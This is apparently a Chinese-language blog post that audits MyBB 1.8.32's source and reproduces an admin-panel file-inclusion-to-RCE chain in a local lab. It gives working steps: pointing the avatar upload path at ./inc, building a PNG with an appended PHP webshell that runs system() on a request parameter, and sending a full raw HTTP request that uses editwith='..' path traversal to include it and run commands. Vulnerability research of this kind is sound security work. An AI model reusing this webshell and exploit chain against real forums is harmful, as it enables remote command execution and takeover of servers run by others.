mybb 1.8.32 代码审计 + LFI RCE 复现

MYBB论坛简介及漏洞历史

MYBB论坛简介

MyBB,以前是MyBBoard,最初是MyBulletinBoard,是由MyBB group开发的免费和开源论坛软件。用PHP编写的,支持MySQL, PostgreSQL和SQLite数据库系统,此外,还具有数据库failover它支持多种语言,并在LGPL下获得许可该软件允许用户通过MyBB促进社区的交互。

MYBB论坛漏洞历史

exploit-db上,最早出现的漏洞可追朔到2005年的一系列sql注入,由于其源码已经在github上开源,从此之后各种类型漏洞频发,还不包括没有公开提交到exploit-db上的漏洞,直到2022,未来一定会爆出更多漏洞,手动狗头。。。

最近2023年1月12日又爆出了mybb 管理员面板的文件包含RCE,这个RCE其实是对之前的管理员面板文件包含RCE记一次mybb代码审计的文件上传路径黑名单的绕过。

  • mybb 1.8.32 RCE in admin panel report

php白盒源代码审计

首先从github下载mybb 1.8.32的源码,IDE我用的是vscode编辑器

定位黑名单并找到绕过手段

/Upload/admin/modules/config/settings.php 1172 ~ 1178 行

首先,我们可以在Mybb中设置控制上传目录,但代码里有一个缓解措施,以防止利用

如果查看代码,每个目录都有一个黑名单目录,因为如果可以上传文件

在这个黑名单目录下,配合之后分析的文件包含漏洞很容易造成远程代码执行

缓解措施分析

/Upload/admin/modules/config/settings.php 1200 ~ 1206 行

如果查看代码,比较之前创建的dynamic_include_directores_realpath的值

使用用户输入的数组变量,如果它们相同则取消设置

但是将这些设置更改为前面描述的4个黑名单目录以外的路径则可以实现文件上传

rebuild_settings()函数分析

/Upload/inc/functions.php 6967 ~ 6991 行

如果黑名单验证缓解措施函数通过,则将设置保存在数据库中,并调用rebuild_settings函数在数据库中搜索行,并写入inc/settings.php。

也就是说我们在设置面板中设置上传路径为黑名单路径以外的路径,则可以设置成功,并并调用rebuild_settings函数在数据库中搜索行写入inc/settings.php,上传路径可以修改成功,反之如果设置黑名单里的路径则会失败。

头像上传

/Upload/inc/functions_upload.php 232 ~ 250 行

因为./inc不存在于settings.php的黑名单中,它可以绕过上传路径黑名单,查看代码中,它使用设置的上传路径来上传。因此,我们可以在inc文件夹中写入有限的文件

/Upload/inc/functions_upload.php 926 ~ 945 行

上传头像时,使用upload_file()函数上传,此时,我们之前设置的路径$path变量就输入进去了,成功上传文件到之前设置的路径。

定位文件包含漏洞

这次的文件包含漏洞也是本次漏洞利用链中最关键的一环,没有它,就无法实现RCE。

首先全局搜索inclued函数,在\mybb\admin\modules\config\languages.php页面的444行发现include函数:@include $editfile;

该函数包含editfile文件,进行查看该文件来源,可以看到430行该文件由folder文件夹和file文件拼接,其中420行看到file文件由post请求提交,接下来查看folder文件夹来源

通过该文件184行看到foler文件夹为MYBB_ROOT.”inc/languages/“.$editlang.”/“,接下来查看editlang变量,通过189行看到判断该文件名后缀为php的文件是否存在,然后查看该文件下辖的php文件只有english.php文件,猜测editlang为english,稍后验证,该变量会通过post请求输入

现在文件的目录结构分析完毕,接下来查看该漏洞页面的接口位置:由于该文件目录为\mybb\admin\modules\config\languages.php,因此,入口为config模板的language方法中,其中控制器为edit,从375行可以看到,同时420行看到post请求中输入file文件

因此我们查看该页面url大概为以下样子:

1
/admin/index.php?module=config-languages&action=edit

现在进行分析,之前我们自己设置的目录为./inc,因此我们需要向该文件夹下进行上传一个图片,因此我们需要将上传文件目录修改为该文件夹,现在分析如何修改该文件夹:
通过对头像上传文件夹进行跟踪,发现在function_upload.php的241行,该文件夹由全局变量settings控制

对该变量进行跟踪,$mybb->settings[‘avataruploadpath’],发现对$mybb->settings[‘uploadspath’]变量的控制就需要对文件进行修改进行查询,针对关键函数进行搜索:$db->update_query(“settings”发现在\mybb\admin\modules\config\settings.php文件下1254行:

通过value和name变量进行更新,其中value变量是从post请求中的upsetting数组中进行获取其name变量的值:

我们跟踪avataruploadpath变量,进行搜索,有1166行定义数组,而avataruploadpath为数组中的参数,同时也有post请求的upsetting数组进行输入:

现在寻找数据传入方式,发现action方法为change,请求方式为post:

通过该页面17行,发现页面在index页面下调用的模板为config下的setting模板:

因此我们构建的页面就可以为这样,从该页面进行传入数据

1
http://www.mybb1832.cn/admin/index.php?module=config-settings&action=change

本地环境搭建与黑盒漏洞利用

环境搭建

我是用的宝塔面板搭建的环境,宝塔面板安装参考官方下载安装使用宝塔产品

  • niginx 1.22.1 + php 7.4.33 + phpmyadmin 5.2 + mysql 5.7.43

宝塔面板安装好,并部署好环境之后,后米娜要做的就是修改本机电脑的hosts文件使www.mybb1832.cn域名指向面板环境的IP地址即可,
正常访问,且是mybb 1.8.32版本:

修改上传路径配置并上传头像

登入后台后访问,搜索”Avatar Upload Path”,将其改为”./inc”后,点击”save settings”:

1
http://www.mybb1832.cn/admin/index.php?module=config-settings&action=change

后面上传的头像文件,就可以上传到/inc目录下,来到头像上传处,选择大小小于1kb的头像,然后点击”save user”,就可以将包含php木马的图片上传到/inc目录下:

1
http://www.mybb1832.cn/admin/index.php?module=user-users&action=edit&uid=1#tab_avatar

因为网站会进行压缩,将php脚本破坏,现在制作php图片木马:

将包含如下木马内容的php文件和正常png图片文件合并

1
2
3
4
5
6
7
8
<?php
if(isset($_REQUEST['cmd'])){
echo "getshell success!";
$cmd = ($_REQUEST['cmd']);
echo system($cmd);
phpinfo();
}
?>
1
copy close.png/b + shell.php/a shell.png

制作成功,现在上传该文件,并右键复制图像链接,可以看到它在服务器上的文件名为avatar_1.png

1
http://www.mybb1832.cn/inc/avatar_1.png?dateline=1674025701

路径穿越文件包含实现RCE

现在来进行文件包含之前的图片马,来到:

1
http://www.mybb1832.cn/admin/index.php?module=config-languages&action=edit&lang=english&editwith=&file=announcements.lang.php

不用修改任何内容直接点save language file然后抓包发送到repeater:

在repeater中修改file参数值为avatar_1.png,editwith参数值为”..”,即可实现一层路径穿越到/inc目录文件包含avatar_1.png中的php木马,RCE成功

RCE请求包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /admin/index.php?module=config-languages&action=edit&cmd=id HTTP/1.1
Host: www.mybb1832.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 518
Origin: null
Connection: close
Cookie: acploginattempts=0; adminsid=902f49bd1bc1979a9e74d21017afc07c; mybb[lastvisit]=1673917082; mybb[lastactive]=1673917144; sid=3f11a37cfe7a2ad7d6b107c4e2d90168; loginattempts=1; mybbuser=1_9kiPJrzlrCosZesW7Zu3C5drhIa7mKVzJpq6vOAdULRPatNNdw
Upgrade-Insecure-Requests: 1

my_post_key=7f8f8bf788db537641f6607860aa462a&file=avatar_1.png&lang=english&editwith=..&inadmin=0&edit%5Bnav_announcements%5D=Forum+Announcement&edit%5Bannouncements%5D=Announcement&edit%5Bforum_announcement%5D=Forum+Announcement%3A+%7B1%7D&edit%5Berror_invalidannouncement%5D=The+announcement+specified+is+invalid.&edit%5Bannouncement_edit%5D=Edit+this+announcement&edit%5Bannouncement_qdelete%5D=Delete+this+announcement&edit%5Bannouncement_quickdelete_confirm%5D=Are+you+sure+you+want+to+delete+this+announcement%3F

总结

两个点”..”的一层路径穿越即可绕过上传路径黑名单,这就是代码审计的准确性与魅力所在。

参考资源

  • mybb 1.8.32 RCE in admin panel report
  • MyBB
  • MyBB github
  • 记一次mybb代码审计
  • mybb bugs in exploit database

MORE

  • PHP 审计中的一些小操作
  • GMP反序列化类型混淆漏洞[MyBB<=1.8.3 RCE漏洞]
  • MyBB <= 1.8.20: From Stored XSS to RCE
  • 国外某cms审计之文件删除漏洞